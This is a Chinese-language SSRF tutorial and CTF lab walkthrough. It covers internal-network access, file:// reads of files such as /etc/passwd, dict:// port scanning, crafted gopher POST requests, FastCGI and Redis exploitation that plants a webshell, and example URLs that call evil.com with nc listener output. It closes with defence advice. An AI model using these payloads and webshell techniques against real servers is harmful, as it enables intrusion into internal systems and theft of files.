1、定义与成因
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
注释:除了http/https等方式可以造成ssrf,类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务,只不过危害比较小而已。
2、可能出现的地方
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
3、判断ssrf是否存在
能够对外发起网络请求,就有可能存在ssrf。
打开一个ctfhub中ssrf技能树的内网访问靶场
首先我们先从访问外网开始测试,我们先访问一下百度,看看是否能访问成功。
可以进行访问,接下来我们就来访问一下内网127.0.0.1,且提示127.0.0.1下有一个flag.php文件,我们访问下。
拿到flag
4、利用伪协议读取本地文件(ssrf常见伪协议见文章末尾扩展)
靶场环境如下
提示说尝试读取web目录下的flag.php
这样我们就可以利用file伪协议进行读取flag.php,然后查看源代码可以找到我们的flag
5、利用ssrf对内网进行端口扫描or目录扫描
SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口,我们可以配合bp来进行端口开放情况的探测。
我们打开一个端口扫描靶场,然后我们利用dict协议进行抓包
发送到暴力破解模块,给端口设置为变量
然后把字典载入
开始破解
探测出8019端口长度不一样,这样我们直接访问一下8019端口
得到flag。
目录扫描原理类似,都是利用暴力破解,来探测内网包含哪些文件。然后我们可以利用一些文件拥有的功能进行进一步渗透。
6、利用ssrf进行sql注入
思路和正常sql注入一致,只需要在url参数后面进行构造即可,但是需要将空格进行两次URL编码
7、利用gopher进行post请求
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。因为我们在有些场景下无法通过get的方式进行发起请求,但是我们又无法直接利用ssrf通过http协议来进行post请求,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下。
gopher://<host>:<port>/<gopher-path>_<TCP数据流>
这里打开一个靶场
按照之前的经验我们进行如下构造
发现有一个输入框,我们在查看源代码,会发现有一个key
那么该题的思路就是吧这个key进行提交即可,但是我们在input文本框外并未发现提交按钮,所以我们就要利用gopher 协议来够着post请求了。该题构造需要满足一个条件,就是提交必须是在本地,也就是127.0.0.1下的flag.php这个页面进行提交的。
在构造数据之前我对目录进行了一次扫描,还发现了一个index.php
那我们就可以利用file协议把其文件对应的源代码给读取下来
在源代码中我们可以分析出首先地址必须要来自127.0.0.1这个本地的地址随后用POST的方法接收一个flag的MD5值,同时满足这两个条件,flag才会被输出出来。
接下来我们就可以构造gopher协议数据包了。
gopher://127.0.0.1:80/_POST /flag.phpHTTP/1.1Host: 127.0.0.1:80Content-Length: 36 #特别注意此处的长度,长度不对也是不行的。Content-Type:application/x-www-form-urlencoded key=ee13665d6bba5dc3ccdde020002ee295
然后我们抓包进行修改发送
修改之后我们还要队gopher发送的数据进行两次url编码,且第一次编码后我们要在每个%0A后加上一个%0D,最后得到flag
8、上传文件
该题和POST思路一样,只不过这一题是要上传一个文件,首先这题想要拿到flag就要上传一个flag.php的文件
然后扫描文件,用file协议读取源代码,然后分析代码进行绕过。这里有一个小tip
构造上述链接会得到一个上传文件的地方,但是没有提交按钮,这里就需要我们取修改前端代码,生成一个提交按钮,然后再进行抓包
修改host修改为127.0.0.1:80的到gopher的数据包
然后用Gopher协议从127.0.0.1地址发送数据包,再进行两次url编码得到flag
9、FastCGI协议
相关资料解释如下:
在静态网站中,WEB 容器如 Apache、Nginx 相当于内容分发员的角色, 根据用户请求的页面从网站根目录中返回给用户;而在动态网站中,WEB 容器例如 Apache 会根据用户的请求进行简单处理后交给 php 解释器;当 Apache 收到用户对 index.php 的请求后,如果使用的是 CGI,会启动对应的 CGI 程序,对应在这里就是 PHP 的解析器。接下来 PHP 解析器会解析 php.ini 文件,初始化执行环境,然后处理请求,再以规定 CGI 规定的格式返回处理后的结果,退出进程,Web server 再把结果返回给浏览器。这就是一个完整的动态 PHP Web 访问流程
这里说的是使用 CGI,而 FastCGI 就相当于高性能的 CGI,与 CGI 不同的是它像一个常驻的 CGI,在启动后会一直运行着,不需要每次处理数据时都启动一次, 所以这里引出下面这句概念,FastCGI 是语言无关的、可伸缩架构的 CGI 开放扩展,其主要行为是将 CGI 解释器进程保持在内存中,并因此获得较高的性能
php-fpm展开目录:
官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。
php-fpm攻击实现原理
想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。
而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On时,就会在执行php脚本之前包含环境变量auto_prepend_file所指向的文件内容,php://input也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。
题目中有一个提示附件,是一个网址,教如何编写该漏洞的exp,师傅们可以自己琢磨一下,链接如下
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
这里利用 gopherus工具进行漏洞利用
首先用gopherus够着gopher漏洞利用数据包
eg:python gopherus.py --exploit fastcgi
中间需要我们数据两行东西,第一行是我们要攻击的服务器上存在的一个文件
第二行是我们要进行执行的命令,我这里写了一个base64编码的一句话写到/shell.php文件里然后下方生成我们的漏洞利用数据报。复制到bp里面再进行一次url编码,发送数据包即可。
然后我们用蚁剑连接
连接成功后在根目录下找到flag
10、Redis
原理都差不多,用工具生成数据包
然后再进行一次url编码进行上传
用我们上传的马进行命令执行拿到flag,这里有个小tip
我们在执行命令的指令中的空格要用${IFS}代替,不然会被浏览器url编码成%20导致报错
11、ssrf协议扩展
file:/// dict://sftp://ldap://tftp://gopher://
file://这种URLSchema可以尝试从文件系统中获取文件:http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URLSchema就可以绕过这些限制:
dict://这种URLScheme能够引用允许通过DICT协议使用的定义或单词列表:http://example.com/ssrf.php?dict://evil.com:1337/evil.com:$ nc -lvp 1337Connection from [192.168.0.12] port 1337[tcp/*]accepted (family 2,sport 31126)CLIENT libcurl 7.40.0
sftp://在这里,Sftp代表SSH文件传输协议(SSHFile Transfer Protocol),或安全文件传输协议(Secure File TransferProtocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。http://example.com/ssrf.php?url=sftp://evil.com:1337/evil.com:$ nc -lvp 1337Connection from [192.168.0.12] port 1337[tcp/*]accepted (family 2,sport 37146)SSH-2.0-libssh2_1.4.2
ldap://或ldaps://或ldapi://LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquithttp://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit
tftp://TFTP(Trivial FileTransferProtocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKETevil.com:# nc -lvup 1337Listening on [0.0.0.0] (family 0,port1337)TESTUDPPACKEToctettsize0blksize512timeout3
gopher://Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。http://example.com/ssrf.php?url=http://attacker.com/gopher.php<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?> evil.com:# nc -lvp 1337Listening on [0.0.0.0] (family 0,port1337)Connection from [192.168.0.12] port1337[tcp/*] accepted(family 2, sport 49398)Hissrftest
0x02防御1.禁止跳转2.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。3.禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题4.设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)5.限制请求的端口为http常用的端口,比如 80、443、8080、80906.统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。